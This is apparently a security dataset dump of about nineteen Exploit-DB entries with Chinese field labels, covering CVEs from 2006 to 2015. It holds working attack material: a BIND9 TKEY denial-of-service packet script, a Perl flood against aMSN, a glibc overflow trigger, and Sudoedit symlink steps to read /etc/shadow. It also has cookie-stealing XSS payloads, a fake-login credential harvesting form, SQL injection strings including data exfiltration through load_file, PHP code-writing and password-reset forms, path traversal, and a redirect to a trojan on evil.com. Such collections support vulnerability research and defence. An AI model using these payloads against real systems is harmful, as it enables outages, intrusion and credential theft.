QLWD/code_shield huggingface dataset:
标题: ISC BIND 9 - TKEY Remote Denial of Service (PoC) EDB-ID: 37723 CVE: 2015-5477 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-05 漏洞利用脚本: #!/usr/bin/env python

# Exploit Title: PoC for BIND9 TKEY DoS
# Exploit Author: elceef
# Software Link: https://github.com/elceef/tkeypoc/
# Version: ISC BIND 9
# Tested on: multiple
# CVE : CVE-2015-5477


import socket
import sys

print('CVE-2015-5477 BIND9 TKEY PoC')

if len(sys.argv) < 2:
 print('Usage: ' + sys.argv[0] + ' [target]')
 sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex')) 

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))

print('Done.') URL: https://www.exploit-db.com/exploits/37723
标题: Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation EDB-ID: 37710 CVE: 2015-5602 类型: LOCAL 平台: LINUX 发布日期: 2015-07-28 漏洞利用脚本: # Exploit Title: sudo -e - a.k.a. sudoedit -  unauthorized privilege escalation
# Date: 07-23-2015
# Exploit Author: Daniel Svartman
# Version: Sudo <=1.8.14
# Tested on: RHEL 5/6/7 and Ubuntu (all versions)
# CVE: CVE-2015-5602.

Hello,

I found a security bug in sudo (checked in the latest versions of sudo
running on RHEL and ubuntu) when a user is granted with root access to
modify a particular file that could be located in a subset of directories.

It seems that sudoedit does not check the full path if a wildcard is used
twice (e.g. /home/*/*/file.txt), allowing a malicious user to replace the
file.txt real file with a symbolic link to a different location (e.g.
/etc/shadow).

I was able to perform such redirect and retrieve the data from the
/etc/shadow file.

In order for you to replicate this, you should configure the following line
in your /etc/sudoers file:

<user_to_grant_priv> ALL=(root) NOPASSWD: sudoedit /home/*/*/test.txt

Then, logged as that user, create a subdirectory within its home folder
(e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link
inside the new folder named test.txt pointing to /etc/shadow.

When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will
be allowed to access the /etc/shadow even if have not been granted with
such access in the sudoers file.

I checked this against fixed directories and files (not using a wildcard)
and it does work with symbolic links created under the /home folder. URL: https://www.exploit-db.com/exploits/37710
标题: aMSN - Remote Denial of Service EDB-ID: 37692 CVE: 2006-0138 类型: DOS 平台: MULTIPLE 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/55381/info

aMSN is prone to a remote denial-of-service vulnerability.

A successful exploit of this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

#!/usr/bin/perl
use IO::Socket;

$x = 0;
print q(
**************************************
* AMSN REMOTE DOS XPL *
* BY *
* Red-Point *
* red-point@odiameporserelite.org *
**************************************
);

print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);

print q( );
$type = seC0de;
chop ($type);

if($type == seC0de){
 while($x != 9999999){

  $postit = "";
  $lrg = length $postit;
  my $sock = new IO::Socket::INET (
                                 PeerAddr => "$hos",
                                 PeerPort => "6891",
                                 Proto => "tcp",
                                );

  die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;

  print $sock "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
    "\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
    "\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
    "\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
    "\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
    "\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
    "\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
    "\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
    "\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
    "\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
    "\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
    "\x49\x48\x44\x52";
  close($sock);
  syswrite STDOUT, "|";
  $x++;
 }
}
else{
        die " \n";
} URL: https://www.exploit-db.com/exploits/37692
标题: Kayako Fusion - 'download.php' Cross-Site Scripting EDB-ID: 37698 CVE: 2012-3233 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/55417/info

Kayako Fusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Kayako Fusion 4.40.1148 is vulnerable; other versions may also be affected. 

http://www.example.com/__swift/thirdparty/PHPExcel/PHPExcel/Shared/JAMA/docs/download.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37698
标题: Crowbar - 'file' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37690 CVE: 2012-3551 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/55315/info

Crowbar is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/utils?waiting=true&file=foo'%3B})% 3B}alert(document.cookie)</script><!-- URL: https://www.exploit-db.com/exploits/37690
标题: PrestaShop 1.4.7 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37684 CVE: 2012-2517 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/55280/info

PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post"> <input type="hidden" name="ajaxProductsPositions" value='' /> <input type="hidden" name="id_product" value='1' /> <input type="hidden" name="id_category" value='1' /> <input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' /> <input type="submit" id="btn"> </form> URL: https://www.exploit-db.com/exploits/37684
标题: PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection EDB-ID: 37688 CVE: 2011-1398 类型: REMOTE 平台: PHP 发布日期: 2011-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/55297/info

PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.

By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

PHP 5.1.2 is vulnerable; other versions may also be affected. 

<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>

http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo URL: https://www.exploit-db.com/exploits/37688
标题: Phorum 5.2.18 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37683 CVE: 2012-4234 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/55275/info

Phorum is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.18 is vulnerable; other versions may also be affected. 

http://www.example.com/control.php?0,panel=groupmod,group=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37683
标题: Websense Content Gateway - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37671 CVE: 2012-2984 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/55194/info

Websense Content Gateway is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com:8081/monitor/m_overview.ink?mode=0&menu=</script><img%20src%3Dhttp%3A%2f%2fwww.evilanother.com%2fimages%2fcross_site.jpg>
https://www.example.com:8081/monitor/m_overview.ink?mode=0&menu=</script><meta%20http-equiv%3D%22refresh%22%20content%3D%220%3BURL%3Dhttps%3A%2f%2fwww.evil.com%2ftrojan.exe%22> URL: https://www.exploit-db.com/exploits/37671
标题: phpVibe < 4.20 - Persistent Cross-Site Scripting EDB-ID: 37659 CVE: 2015-5399 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-20 漏洞利用脚本: # phpVibe < 4.20 Stored XSS

# Vendor Homepage: http://www.phpvibe.com
# Affected Versions: prior to 4.20

# Discovered by Filippos Mastrogiannis
# Twitter: @filipposmastro
# LinkedIn: https://www.linkedin.com/pub/filippos-mastrogiannis/68/132/177

-- Description --

This stored XSS vulnerability allows any logged in user
to inject malicious code in the comments section:
e.g. "><body onLoad=confirm("XSS")>

The vulnerability exists because the user input is not properly sanitized
and this can lead to malicious code injection that will be executed on the
target’s browser

-- Proof of Concept --

1. The attacker posts a new comment which contains our payload:
"><body onLoad=confirm("XSS")>

2. The stored XSS can be triggered when any user visits the link of the
uploaded content

-- Solution --

The vendor has fixed the issue in the version 4.21 URL: https://www.exploit-db.com/exploits/37659
标题: Microsoft Word - Local Machine Zone Code Execution (MS15-022) EDB-ID: 37657 CVE: 2015-0097 类型: LOCAL 平台: WINDOWS 发布日期: 2015-07-20 漏洞利用脚本: Exploit Title: Microsoft Word Local Machine Zone Remote Code Execution Vulnerability
Date: July 15th, 2015
Exploit Author: Eduardo Braun Prado
Vendor Homepage : http://www.microsoft.com
Version: 2007
Tested on: Microsoft Windows  XP, 2003, Vista, 2008, 7, 8, 8.1
CVE:  CVE-2015-0097

Original Advisory: https://technet.microsoft.com/library/security/ms15-022

Microsoft Word, Excel and Powerpoint 2007 contains a remote code execution vulnerability because it is possible 
to reference documents such as Works document (.wps) as HTML. It will process HTML and script code in the context 
of the local machine zone of Internet Explorer which leads to arbitrary code execution. 
By persuading users into opening eg. specially crafted .WPS, ".doc ", ".RTF " (with a space at the end) 
it is possible to triggerthe vulnerability and run arbitrary code in the context of the logged on Windows user.

Exploit code here :

https://onedrive.live.com/embed?cid=412A36B6D0A9436A&resid=412A36B6D0A9436A%21156&authkey=AA_JVoZcoM5kvOc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37657.zip URL: https://www.exploit-db.com/exploits/37657
标题: IBM Rational ClearQuest 8.0 - Multiple Vulnerabilities EDB-ID: 37643 CVE: 2012-0744 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/55125/info

IBM Rational ClearQuest is prone to the following security vulnerabilities:

1. An HTML-injection vulnerability.

2. Multiple information-disclosure vulnerabilities.

3. A security-bypass vulnerability.

Attackers may leverage these issues to obtain potentially sensitive session information, bypass certain security restrictions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.

The following versions are affected:

IBM Rational ClearQuest 7.1.x through versions 7.1.2.7
IBM Rational ClearQuest 8.x through versions 8.0.0.3 

https://www.example.com/snoop
https://www.example.com/hello
https://www.example.com/ivt/
https://www.example.com/hitcount
https://www.example.com/HitCount.jsp
https://www.example.com/HelloHTMLError.jsp
https://www.example.com/HelloHTML.jsp
https://www.example.com/HelloVXMLError.jsp
https://www.example.com/HelloVXML.jsp
https://www.example.com/HelloWMLError.jsp
https://www.example.com/HelloWML.jsp
https://www.example.com/cqweb/j_security_check URL: https://www.exploit-db.com/exploits/37643
标题: GNU glibc - Multiple Local Stack Buffer Overflow Vulnerabilities EDB-ID: 37631 CVE: 2012-3480 类型: LOCAL 平台: LINUX 发布日期: 2012-08-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/54982/info

GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. 

include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXPONENT "e-2147483649"
#define SIZE 214748364
int
main (void)
{
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
    {
      perror ("malloc");
      exit (EXIT_FAILURE);
    }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
} URL: https://www.exploit-db.com/exploits/37631
标题: Total Shop UK eCommerce CodeIgniter - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37632 CVE: 2012-4236 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/54985/info

Total Shop UK eCommerce CodeIgniter is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CodeIgniter 2.1.2 is vulnerable; other versions may also be affected. 

Example 1 Request: +----------------- GET /?%00";};alert(String.fromCharCode(120,115,115,116,101,115,116 ));{//=1 HTTP/1.1 Host: www.example.com Referer: http://www.example.com/about --- Example 1 Response: +------------------ --- SNIP --- function refresh_page(){ parent.location="/?%00";};alert(String.fromCharCode(120,115,115 ,116,101,115,116));{//=1"; URL: https://www.exploit-db.com/exploits/37632
标题: Kaseya Virtual System Administrator (VSA) - Multiple Vulnerabilities (1) EDB-ID: 37621 CVE: 2015-2863 2015-2862 类型: WEBAPPS 平台: WINDOWS 发布日期: 2015-07-15 漏洞利用脚本: >> Multiple vulnerabilities in Kaseya Virtual System Administrator 
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 13/07/2015 / Last updated: 28/09/2015 

>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be leveraged seamlessly across IT disciplines to streamline and automate your IT services. Kaseya VSA integrates key management capabilities into a single platform. Kaseya VSA makes your IT staff more productive, your services more reliable, your systems more secure, and your value easier to show."

A special thanks to CERT and ZDI for assisting with the vulnerability reporting process.
These vulnerabilities were disclosed by CERT under ID 919604 [1] on 13/07/2015.


>> Technical details:
#1
Vulnerability: Arbitary file download (authenticated)
CVE-2015-2862 / CERT ID 919604
Affected versions: unknown, at least v7 to v9.1

GET /vsaPres/web20/core/Downloader.ashx?displayName=whatever&filepath=../../boot.ini
Referer: http://10.0.0.3/

A valid login is needed, and the Referrer header must be included. A sample request can be obtained by downloading any file attached to any ticket, and then modifying it with the appropriate path traversal. 
This will download the C:\boot.ini file when Kaseya is installed in the default C:\Kaseya directory. The file download root is the WebPages directory (<Kaseya_Install_Dir>\WebPages\).


#2
Vulnerability: Open redirect (unauthenticated)
CVE-2015-2863 / CERT ID 919604
Affected versions: unknown, at least v7 to v9.1

a)
http://192.168.56.101/inc/supportLoad.asp?urlToLoad=http://www.google.com

b)
GET /vsaPres/Web20/core/LocalProxy.ashx?url=http://www.google.com
Host: www.google.com
(host header has to be spoofed to the target)


>> Fix: 
R9.1: install patch 9.1.0.4
R9.0: install patch 9.0.0.14
R8.0: install patch 8.0.0.18
V7.0: install patch 7.0.0.29


>> References:
[1] https://www.kb.cert.org/vuls/id/919604

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >> URL: https://www.exploit-db.com/exploits/37621
标题: PBBoard - 'admin.php?xml_name' Arbitrary PHP Code Execution EDB-ID: 37616 CVE: 2012-4036 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/54916/info
  
PBBoard is prone to multiple security vulnerabilities including:
  
1. Multiple SQL-injection vulnerabilities
2. A security-bypass vulnerability
3. An arbitrary file upload vulnerability
  
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
  
PBBoard 2.1.4 is vulnerable; other versions may also be affected.


<form action="http://www.example.com/admin.php?page=addons&export=1&export_writing=1&xml_name=file.php" method="post" name="main" id="main">
<input type="hidden" name="context" value='<? phpinfo(); ?>'>
<input type="submit" name="Submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/37616
标题: PBBoard - 'member_id' Validation Password Manipulation EDB-ID: 37615 CVE: 2012-4035 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/54916/info
 
PBBoard is prone to multiple security vulnerabilities including:
 
1. Multiple SQL-injection vulnerabilities
2. A security-bypass vulnerability
3. An arbitrary file upload vulnerability
 
Exploiting these issues could allow an attacker to carry out unauthorized actions on the underlying database, to gain access to various user accounts by changing account passwords, or to execute arbitrary script code on an affected computer in the context of the affected application.
 
PBBoard 2.1.4 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/index.php?page=new_password&forget=1" method="post" name="main" id="main">
<input type="hidden" name="member_id" value="1">
<input type="hidden" name="new_password" value="new_password">
<input type="submit" name="Submit" value="Send">
</form> URL: https://www.exploit-db.com/exploits/37615
标题: phpList 2.10.18 - 'index.php' SQL Injection EDB-ID: 37613 CVE: 2012-3953 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/54912/info

PHPList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to PHPList 2.10.19 are vulnerable. 

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select version() --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) -- URL: https://www.exploit-db.com/exploits/37613
标题: Arab Portal 3 - SQL Injection EDB-ID: 37594 CVE: 2015-6519 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-13 漏洞利用脚本: ## In The Name Of ALLAH ##
# title : Arabportal 3 SQL injection vulnerability
# Exploit Title: Arabportal 3 registeration section SQL injection vulnerability
# Google Dork: inurl:members.php?action=signup
# Date: 2015/07/10 (july 10th)
# Exploit Author: ali ahmady -- Iranian Security Researcher (snip3r_ir[at]hotmail.com)
# Vendor Homepage: www.arabportal.net
# Software Link: www.arabportal.net
# Version: 3
# Tested on: linux
# greetings : VIRkid, b0x, phantom_x, Ch3rn0by1 


members.php?action=singup

POST parameter "showemail" is vulnerable to error based SQLi attack

................................................................................

1' AND (SELECT 1212 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a) AND 'ali-ahmady'='ali-ahmady


video : https://youtu.be/5nFblYE90Vk

good luck URL: https://www.exploit-db.com/exploits/37594